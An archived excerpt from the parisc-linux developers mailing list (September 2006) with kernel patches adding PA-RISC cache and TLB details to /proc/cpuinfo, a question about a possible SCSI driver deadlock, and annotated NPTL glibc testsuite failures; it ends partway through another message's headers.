List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ea8zcWRmTiEtQKyUaGRw6K11ZUVSRFdX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23996

Hello Kyle,

ITSR that JDA sent me some interesting material about cpuinfog which 
would look like:
--- include/asm-parisc/pdc.h.Orig       2006-09-10 21:22:11.000000000 +0200
+++ include/asm-parisc/pdc.h    2006-09-11 12:32:59.000000000 +0200
@@ -346,26 +346,57 @@
  #endif
                 cc_alias: 4,    /* alias boundaries for virtual 
addresses   */
                 cc_block: 4,    /* to determine most efficient stride */
-               cc_line : 3,    /* maximum amount written back as a 
result of store (multiple of 16 bytes) */
+               cc_line : 3,    /* maximum amount written back as a result
+                                  of store (multiple of 16 bytes) */
                 cc_shift: 2,    /* how much to shift cc_block left */
                 cc_wt   : 1,    /* 0 = WT-Dcache, 1 = WB-Dcache */
-               cc_sh   : 2,    /* 0 = separate I/D-cache, else shared 
I/D-cache */
-               cc_cst  : 3,    /* 0 = incoherent D-cache, 1=coherent 
D-cache */
+               cc_sh   : 2,    /* 0 = separate I/D-cache (both FIC and 
FDC),
+                                  1 = shared I/D-cache (only FDC),
+                                  2 = shared I/D-cache (only FIC),
+                                  3 = shared I/D-cache (either FIC or 
FDC) */
+               cc_cst  : 3,    /* 0 = incoherent D-cache,
+                                  1 = coherent D-cache,
+                                  2 - 7 reserved */
                 cc_pad1 : 10,   /* reserved */
                 cc_hv   : 3;    /* hversion dependent */
  };

-struct pdc_tlb_cf {            /* for PDC_CACHE (I/D-TLB's) */
-    unsigned long tc_pad0:12,  /* reserved */
+struct pdc_dtlb_cf {           /* for PDC_CACHE (D-TLB's) */
+    unsigned long
  #ifdef __LP64__
                 tc_padW:32,
  #endif
+               tc_pad0 :12,    /* reserved */
+               tc_sh   : 2,    /* 0 = separate I/D-TLB (both PITLB and 
PDTLB),
+                                  1 = shared I/D-TLB (only PDTLB),
+                                  2 = shared I/D-TLB (only PITLB),
+                                  3 = shared I/D-TLB (either PITLB or 
PDTLB) */
+               tc_hv   : 1,    /* HV */
+               tc_u    : 1,    /* 0 = TLB U-bit not implemented,
+                                  1 = TLB U-bit implemented */
+               tc_cst  : 3,    /* 0 = incoherent D-cache,
+                                  1 = coherent D-cache,
+                                  2 -7 reserved */
+               tc_pad1 :11,    /* reserved */
+               tc_hv1  : 2;    /* HV1 */
+};
+
+struct pdc_itlb_cf {           /* for PDC_CACHE (I-TLB's) */
+    unsigned long
+#ifdef __LP64__
+               tc_padW:32,
+#endif
+               tc_pad0 :12,    /* reserved */
                 tc_sh   : 2,    /* 0 = separate I/D-TLB, else shared 
I/D-TLB */
                 tc_hv   : 1,    /* HV */
-               tc_page : 1,    /* 0 = 2K page-size-machine, 1 = 4k page 
size */
-               tc_cst  : 3,    /* 0 = incoherent operations, else 
coherent operations */
-               tc_aid  : 5,    /* ITLB: width of access ids of 
processor (encoded!) */
-               tc_pad1 : 8;    /* ITLB: width of space-registers 
(encoded) */
+               tc_page : 1,    /* 0 = 2K page-size-machine,
+                                  1 = 4k page size */
+               tc_cst  : 3,    /* 0 = incoherent D-cache,
+                                  1 = coherent D-cache,
+                                  2 -7 reserved */
+               tc_aid  : 5,    /* encoded width of access ids of 
processor */
+               tc_sr   : 6,    /* encoded width of space-registers */
+               tc_hv1  : 2;    /* HV1 */
  };

  struct pdc_cache_info {                /* main-PDC_CACHE-structure 
(caches & TLB's) */
@@ -385,7 +416,7 @@
         unsigned long   dc_loop;
         /* Instruction-TLB */
         unsigned long   it_size;        /* number of entries in I-TLB */
-       struct pdc_tlb_cf it_conf;      /* I-TLB-configuration */
+       struct pdc_itlb_cf it_conf;     /* I-TLB-configuration */
         unsigned long   it_sp_base;
         unsigned long   it_sp_stride;
         unsigned long   it_sp_count;
@@ -395,7 +426,7 @@
         unsigned long   it_loop;
         /* data-TLB */
         unsigned long   dt_size;        /* number of entries in D-TLB */
-       struct pdc_tlb_cf dt_conf;      /* D-TLB-configuration */
+       struct pdc_dtlb_cf dt_conf;     /* D-TLB-configuration */
         unsigned long   dt_sp_base;
         unsigned long   dt_sp_stride;
         unsigned long   dt_sp_count;
--- arch/parisc/kernel/cache.c.Orig     2006-09-11 11:35:10.000000000 +0200
+++ arch/parisc/kernel/cache.c  2006-09-12 12:44:21.000000000 +0200
@@ -104,11 +104,14 @@
                 cache_info.ic_size/1024 );
         if (cache_info.dc_loop == 1)
                 snprintf(buf, 32, "%lu-way associative", 
cache_info.dc_loop);
-       seq_printf(m, "D-cache\t\t: %ld KB (%s%s, %s)\n",
+       seq_printf(m, "D-cache\t\t: %ld KB (stride = %lu, %s/%s%s, %s)\n",
                 cache_info.dc_size/1024,
+               cache_info.dc_stride,
+               (cache_info.dc_conf.cc_cst ? "CO":"NC"),
                 (cache_info.dc_conf.cc_wt ? "WT":"WB"),
                 (cache_info.dc_conf.cc_sh ? ", shared I/D":""),
-               ((cache_info.dc_loop == 1) ? "direct mapped" : buf));
+               ((cache_info.dc_loop == 1) ? "direct mapped" : buf)
+       );
         seq_printf(m, "ITLB entries\t: %ld\n" "DTLB entries\t: %ld%s\n",
                 cache_info.it_size,
                 cache_info.dt_size,
@@ -143,7 +146,7 @@
         if (pdc_cache_info(&cache_info) < 0)
                 panic("parisc_cache_init: pdc_cache_info failed");

-#if 0
+#if 1
         printk("ic_size %lx dc_size %lx it_size %lx\n",
                 cache_info.ic_size,
                 cache_info.dc_size,
@@ -155,13 +158,13 @@
                 cache_info.dc_count,
                 cache_info.dc_loop);

-       printk("dc_conf = 0x%lx  alias %d blk %d line %d shift %d\n",
+       printk("dc_conf = 0x%lx  alias %d blk %d line %d shift %d "
+               "wt %d sh %d cst %d assoc %d\n",
                 *(unsigned long *) (&cache_info.dc_conf),
                 cache_info.dc_conf.cc_alias,
                 cache_info.dc_conf.cc_block,
                 cache_info.dc_conf.cc_line,
-               cache_info.dc_conf.cc_shift);
-       printk("        wt %d sh %d cst %d hv %d\n",
+               cache_info.dc_conf.cc_shift,
                 cache_info.dc_conf.cc_wt,
                 cache_info.dc_conf.cc_sh,
                 cache_info.dc_conf.cc_cst,
@@ -173,31 +176,34 @@
                 cache_info.ic_count,
                 cache_info.ic_loop);

-       printk("ic_conf = 0x%lx  alias %d blk %d line %d shift %d\n",
+       printk("ic_conf = 0x%lx  alias %d blk %d line %d shift %d "
+               "wt %d sh %d cst %d assoc %d\n",
                 *(unsigned long *) (&cache_info.ic_conf),
                 cache_info.ic_conf.cc_alias,
                 cache_info.ic_conf.cc_block,
                 cache_info.ic_conf.cc_line,
-               cache_info.ic_conf.cc_shift);
-       printk("        wt %d sh %d cst %d hv %d\n",
+               cache_info.ic_conf.cc_shift,
                 cache_info.ic_conf.cc_wt,
                 cache_info.ic_conf.cc_sh,
                 cache_info.ic_conf.cc_cst,
                 cache_info.ic_conf.cc_hv);

-       printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
+       printk("D-TLB conf: sh %d hv %d u %d cst %d pad1 %d hv1 %d\n",
                 cache_info.dt_conf.tc_sh,
-               cache_info.dt_conf.tc_page,
+               cache_info.dt_conf.tc_hv,
+               cache_info.dt_conf.tc_u,
                 cache_info.dt_conf.tc_cst,
-               cache_info.dt_conf.tc_aid,
-               cache_info.dt_conf.tc_pad1);
+               cache_info.dt_conf.tc_pad1,
+               cache_info.dt_conf.tc_hv1);

-       printk("I-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
+       printk("I-TLB conf: sh %d hv %d page %d cst %d aid %d sr %d hv1 
%d\n",
                 cache_info.it_conf.tc_sh,
+               cache_info.dt_conf.tc_hv,
                 cache_info.it_conf.tc_page,
                 cache_info.it_conf.tc_cst,
                 cache_info.it_conf.tc_aid,
-               cache_info.it_conf.tc_pad1);
+               cache_info.it_conf.tc_sr,
+               cache_info.it_conf.tc_hv1);
  #endif

         split_tlb = 0;
=== <> ===
(but may be have got something more recent?)

I would just like to add those cache line size info:
--- arch/parisc/kernel/cache.c  2006-09-12 12:44:21.000000000 +0200
+++ arch/parisc/kernel/cache.c.New      2006-09-12 12:43:00.000000000 +0200
@@ -102,6 +102,8 @@

         seq_printf(m, "I-cache\t\t: %ld KB\n",
                 cache_info.ic_size/1024 );
+       seq_printf(m, "I-cache line\t: %d Byte\n",
+               cache_info.ic_conf.cc_line << 4 );
         if (cache_info.dc_loop == 1)
                 snprintf(buf, 32, "%lu-way associative", 
cache_info.dc_loop);
         seq_printf(m, "D-cache\t\t: %ld KB (stride = %lu, %s/%s%s, %s)\n",
@@ -112,6 +114,8 @@
                 (cache_info.dc_conf.cc_sh ? ", shared I/D":""),
                 ((cache_info.dc_loop == 1) ? "direct mapped" : buf)
         );
+       seq_printf(m, "D-cache line\t: %d Byte\n",
+               cache_info.dc_conf.cc_line << 4 );
         seq_printf(m, "ITLB entries\t: %ld\n" "DTLB entries\t: %ld%s\n",
                 cache_info.it_size,
                 cache_info.dt_size,
=== <> ===

Tested on my c110, it reports:
#  cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 1.1c
cpu             : PA7200 (PCX-T')
cpu MHz         : 120.000000
model           : 9000/777/C110
model name      : Raven 120 T'
hversion        : 0x000058e0
sversion        : 0x00000481
I-cache         : 256 KB
I-cache line    : 32 Byte
D-cache         : 258 KB (stride = 32, WBCO, direct mapped)
D-cache line    : 32 Byte
ITLB entries    : 120
DTLB entries    : 120 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.29
software id     : 2011460976

Please fill free to commit if there are some interest ;-)

Tia,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC]: rename ncr53c8xx to 53c720? [Was: D380 and
	ext[23] fs grave pb]
Date: Tue, 12 Sep 2006 07:26:22 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <200609120726.23020.mszick@morethan.org>
References: <45018CEC.4040104@scarlet.be> <45069555.60807@scarlet.be>
	<200609120702.18615.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624186 21049 80.91.229.3 (22 Nov 2014 02:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Sep 2006 12:26:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 12 Sep 2006 14:26:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C88507D71B;
	Tue, 12 Sep 2006 06:26:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26466-04; Tue, 12 Sep 2006 06:26:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C23967D6A0;
	Tue, 12 Sep 2006 06:26:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A03B7D6FB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:26:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26466-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:26:25 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 2B5397D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 06:26:25 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8CCQbpV034969
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Sep 2006 05:26:37 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [76.4.40.134] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id p590LAF2
	authenticated by SMTP; Tue, 12 Sep 2006 05:26:36 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200609120702.18615.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HcNuCChAbHIyX63NNjQ0oSUqJihyapAx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23997

On Tue September 12 2006 07:02, Michael S. Zick wrote:
> On Tue September 12 2006 06:09, Joel Soete wrote:
> > Hello Matthew,
> > 
> > May be now that parisc-linux tree is managed with git and that driver is 
> > in fact only for ncr 53c720 hba, isn't it time to rename those stuff 
> > like ncr53c8xx to 53c720?
> >
> 
> Joel and group,
> 
> I was browsing that code and noticed that it tries to support a half
> dozen different chips.
> 
> That leads into some really strange looking code for the single-ended/
> differential setup.
> 

Oops, sorry, getting old...

Noticed one more thing - the driver allocates kernel memory -

Which raised the question in my mind of:
*) Driver allocates memory
*) Memory request generates swap activity
*) Swap file is on same driver

Can the above sequence happen and deadlock the driver?
The "softlockup detected" in your message listing?

That driver also uses both spinlocks and timers, so
it may be affected by the recent changes.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL for hppa-linux approaching production ready!
Date: Wed, 13 Sep 2006 18:31:46 -0400
Lines: 117
Approved: news@gmane.org
Message-ID: <119aab440609131531p23470b7dkdf8419838d884ec8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624186 21054 80.91.229.3 (22 Nov 2014 02:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:06 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Jeff Bailey" <jbailey@raspberryginger.com>,
 "Randolph Chung" <randolph@tausq.org>,
 "John David Anglin" <dave.anglin@nrc.ca>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Sep 2006 22:31:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 14 Sep 2006 00:31:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D03B37D786;
	Wed, 13 Sep 2006 16:31:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24143-08; Wed, 13 Sep 2006 16:31:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09BB77D78C;
	Wed, 13 Sep 2006 16:31:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EC697D77E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 16:31:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24029-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 16:31:47 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.224])
	by free.linux.hp.com (Postfix) with ESMTP id 436337D754
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 16:31:47 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 67so923707wri
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 15:31:46 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=BFqz3IKvlA1cxf31ULG+AZDNMhyHAxgkXuoxZ6+P8IYFl2njkGomIDVCEQrkHtojyGEXisPVfFEhr4zSgDkDaEeLshJaIS6BHydvni/R1qS3Gw/Dv5Y/g59UIOW9TBUJ5MqQKZM0KfsMzPTT34aLnt8gAUb0bdV11f+0QEaI2W4=
Original-Received: by 10.90.25.3 with SMTP id 3mr3045873agy;
	Wed, 13 Sep 2006 15:31:46 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Wed, 13 Sep 2006 15:31:46 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 879fa34a602ec9e2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6rQxfWAIYW0+VLuGbmZp4n10amthc5vh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23998

Application destructor running problems fixed, and checked into libc-ports!

My latest testsuite run shows:

make[2]: *** [/libc-tls-nptl/math/test-float.o] Error 1
make[2]: *** [/libc-tls-nptl/math/test-double.out] Error 1
make[2]: *** [/libc-tls-nptl/math/test-ifloat.out] Error 1
make[2]: *** [/libc-tls-nptl/math/test-idouble.o] Error 1
make[1]: *** [math/tests] Error 2

	- Normal math problems. No worries here.
	- Ignore.

make[2]: [/libc-tls-nptl/posix/annexc.out] Error 1 (ignored)

make[2]: *** [/libc-tls-nptl/nptl/tst-align2.out] Error 1

	- Reason unkonwn. SIGSEGV in child.
	- Bad.

make[2]: *** [/libc-tls-nptl/nptl/tst-cancel24] Error 1

	- libstdc++.so problem with my environment?
	- Ignore.

	/usr/local/tools/bin/../lib/gcc/hppa-linux/4.2.0/../../../libstdc++.so:
undefined reference to `int std::__convert_from_v<long double>(char*,
int, char const*, long double, int* const&, int)'
	/usr/local/tools/bin/../lib/gcc/hppa-linux/4.2.0/../../../libstdc++.so:
undefined reference to `int std::__convert_from_v<double>(char*, int,
char const*, double, int* const&, int)'
	collect2: ld returned 1 exit status

/libc-tls-nptl/nptl/tst-oddstacklimit: error while loading shared
libraries: libpthread.so.0: cannot open shared object file: Error 14
make[2]: *** [/libc-tls-nptl/nptl/tst-oddstacklimit.out] Error 127

	- This test is baloney, setting 'ulimit -s 1023' is not a good test.
	- Standard stack is '8192', or an 8MB stack, not a 1MB stack.
	- The error you see is libpthread.so.0 failing to load because the stack
	  is probably too small, and libc makes alloca calls aswell.
	- Ignore.

make[2]: *** [/libc-tls-nptl/nptl/tst-getpid1.out] Error 1
make[2]: *** [/libc-tls-nptl/nptl/tst-getpid2.out] Error 1

	- Possible breakage in clone. New called function via clone returns
parents PID from
	  call to getpid(). This means clone failed?
	- Bad.

make[2]: *** [/libc-tls-nptl/nptl/tst-cancelx4.out] Error 1
make[2]: *** [/libc-tls-nptl/nptl/tst-cancelx5.out] Error 1
make[2]: *** [/libc-tls-nptl/nptl/tst-cancelx20.out] Error 1
make[2]: *** [/libc-tls-nptl/nptl/tst-cancelx21.out] Error 1
make[2]: *** [/libc-tls-nptl/nptl/tst-cleanupx4.out] Error 1
make[1]: *** [nptl/tests] Error 2

	- All 5 tests are cleanup handler failures.
	- Bad.

make[2]: *** [/libc-tls-nptl/rt/tst-timer.out] Error 139

	- nptl/sysdeps/pthread/tst-timer.c crash in signal handler.
	- Bad.

make[2]: *** [/libc-tls-nptl/rt/tst-mqueue3.out] Error 1

	- mq_open fails?
	- Ignore.

make[2]: *** [/libc-tls-nptl/rt/tst-timer4.out] Error 1
make[2]: *** [/libc-tls-nptl/rt/tst-timer5.out] Error 1
make[2]: *** [/libc-tls-nptl/rt/tst-cputimer1.out] Error 1
make[2]: *** [/libc-tls-nptl/rt/tst-cputimer2.out] Error 1
make[2]: *** [/libc-tls-nptl/rt/tst-cputimer3.out] Error 1

	- Crash when timer fires. Related to tst-timer?
	- Bad.

make[1]: *** [rt/tests] Error 2
make[2]: *** [/libc-tls-nptl/elf/tst-pie1.out] Error 139

	- Probably a toolchain problem with -fPIE.
	- Ignore.

make[2]: *** [/libc-tls-nptl/elf/tst-audit2.out] Error 139

	- dl-trampoline.S enter_plt path done, but exit_plt path has bugs.
	- Ignore until I finish the code.

make[2]: *** [/libc-tls-nptl/elf/tst-addr1.out] Error 1

	- This test doesn't work well with architectures that use OPD's.
	- Without first resolving printf we can't get its address.
	- This test is bogus.
	- Ignore.

make[2]: *** [/libc-tls-nptl/elf/check-textrel.out] Error 1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

	- We have various security considerations to take into account.
	- For right now we don't care that text relocations are writable.
	- Ignore.

Summary:
	14 - Bad failures.
	11 - Ignored failures.

We are looking production ready ;)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Good news for d380 but sad news for n4k
	with	newest rwlock implementation ; -)
Date: Wed, 13 Sep 2006 23:16:00 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <200609132316.00952.mszick@morethan.org>
References: <4508505F.8030407@scarlet.be>
	<200609131410.51839.mszick@morethan.org>
	<45086ED6.2070109@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624186 21060 80.91.229.3 (22 Nov 2014 02:43:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Sep 2006 04:16:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 14 Sep 2006 06:16:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 118907D7CE;
	Wed, 13 Sep 2006 22:16:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29310-05; Wed, 13 Sep 2006 22:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A5357D7C9;
	Wed, 13 Sep 2006 22:16:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3200C7D7C5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 22:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29310-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 22:16:05 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id E704B7D7C4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Sep 2006 22:16:04 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k8E4GBjj062515;
	Wed, 13 Sep 2006 21:16:12 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.75.200] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id xFG0TKM2
	authenticated by SMTP; Wed, 13 Sep 2006 21:16:09 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <45086ED6.2070109@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
